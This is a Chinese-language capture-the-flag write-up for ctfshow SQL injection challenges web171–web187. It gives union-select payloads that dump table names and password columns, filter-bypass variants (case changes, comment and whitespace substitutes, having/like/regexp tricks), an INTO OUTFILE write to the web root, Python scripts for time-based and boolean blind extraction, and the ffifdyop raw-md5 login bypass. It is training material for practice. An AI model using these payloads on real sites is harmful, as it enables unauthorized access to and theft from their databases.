web171
这里给的前端很明显
习惯性猜字段,结果为三
爆表名来的快点所以构造
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
得出表名
这里明确给出怎么找flag,就在password字段里面,旁边对应的字段是username的字段是flag
构造-1' union select 1,2,password from ctfshow_user where username = 'flag' --+
web172
给信息的
操作与171相似但是在ctfshow_user2里面
-1' union select password,2,3 from ctfshow_user2 --+
web173
这里过滤了flag结果
但是在user3里
相似构造
-1' union select password,2,3 from ctfshow_user3 --+
web174
给出返回逻辑
使用order by爆列数
然后爆数据库名,表名
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
有三个表名字
一个一个试试看算了
这里的flag被过滤了
可以把password全显出来
0' union select 1,2,password form ctfshow_user3--+
web175
这里是给的返回逻辑里面的
\xnn的意思是ascii码为对应十六进制内容是nn的字符
过滤了ascii从0到127的值
之前的方法难用了
盲注
发现有延迟存在,是时间盲注
使用脚本操作
import requests
from time import time
url='http://774b555f-930c-4ab9-acbe-7ef82922d659.chall.ctf.show/api/v5.php'
flag=''
for i in range(1,100):
length=len(flag)
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)
start_time=time()
r=requests.get(url=url+payload).text
end_time=time()
#print(r)
if end_time-start_time>0.48:
max=j
else :
min=j
另类方法
文件写入
把flag写到1.txt里面,然后访问得到flag
0' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
写入文件的前提是知道网站初始的目录
一般来说都是在/var/www/html/
web176
order by判断字段为3
联合查询构造
0' union select 1,2,3--+
不太行,被过滤掉了
这里使用大写绕过了
0' union Select 1,2,3--+
查看一下库名
0' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
和前面的相似起来了
可以直接拿flag
0' union Select 1,2,group_concat(password) from ctfshow_user where username = 'flag' --+
web177
和前一个类似
空格被过滤了
相当是--被过滤了
可以拿别的搞 /**/或者是%0a(这个是回车)
'/**/Union/**/Select/**/1,2,group_concat(password)/**/from/**/ctfshow_user/**/where/**/username='flag'%23
web178
类似的
/**/被过滤了
可以使用%0a(回车),括号,%09,%0c,%0d,%0b代替
'%0aUnion%0aSelect%0a1,2,group_concat(password)%0afrom%0actfshow_user%0awhere%0ausername='flag'%23
web179
在测试中发现很多符号被过滤了,用不了
但是%0c可以
所以可以构造
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
web180
%23被过滤了
可以尝试用闭合符号来注释语句
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='
tips:
注释符号可以用-- # 还有闭合符号注释
web181
or和and没有过滤
可以试试万能密码
-1’or(id=26)and’1’='1
尝试构造其他变式
id=0'||username='flag
id=0'||(password)regexp'flag
181的payload180也可以用
web182
flag被过滤了
刚刚构造的payload不好使了
可以产生用like模糊匹配
-1'||(username)like'%fla%
% 匹配任何数目的字符,包括零字符
_ 只匹配一种字符
web183
过滤了越来越多
每次查询记录总数都是1
试试布尔盲注爆破
import requests
import time
url="http://5b285b83-8642-4556-b1cc-ca435d196f99.challenge.ctf.show/select-waf.php"
flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag=""
for i in range(0,34):
for x in flagstr:
data={
"tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
}
response=requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow"+flag)
web184
where ,单引号,反引号被过滤了
查语法得
where可以用having代替
一个HAVING子句必须位于GROUP BY子句之后,并位于ORDER BY子句之前
ctfshow_user group by pass having pass like 0x63746673686f777b25
修改脚本
web185
import requests
import time
import string
def formatString(str):
temp="concat("
for x in str:
tip=0
if x in string.digits:
tmp=int(x)
else:
tip=1
temp+="char("
tmp=ord(x)
if tmp == 0:
temp+="false"
else:
temp_d="("
for i in range(0,tmp):
temp_d+="true+"
temp_d=temp_d[:-1]+")"
if tip==1:
temp_d+=")"
temp+=temp_d
temp+=","
temp=temp[:-1]+")"
return temp
#print(formatString("0x63746673686f777b"))
dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
url="http://d2f644f5-968d-4301-b037-267c7b183b0e.challenge.ctf.show/select-waf.php"
flag="ctfshow{"
for i in range(0,40):
for x in dic:
data={
"tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
}
#print(data)
response=requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("[**] {} is right".format(x))
flag+=x
break
else:
#print("[--] {} is wrong".format(x))
continue
print("[flag]:"+flag)
web187
试试万能密码
1 and 0 or 1
题目$password = md5($_POST['password'],true);
md5函数第二参数被设置为了true
string md5( string $str[, bool $raw_output = false] )
被设置了true后md5要以16字节长度的二进制格式返回
而ffifdyop还有129581926211651571912466741651878684928可以使内容显错
所以可以admin和ffifdyop登录拿到flag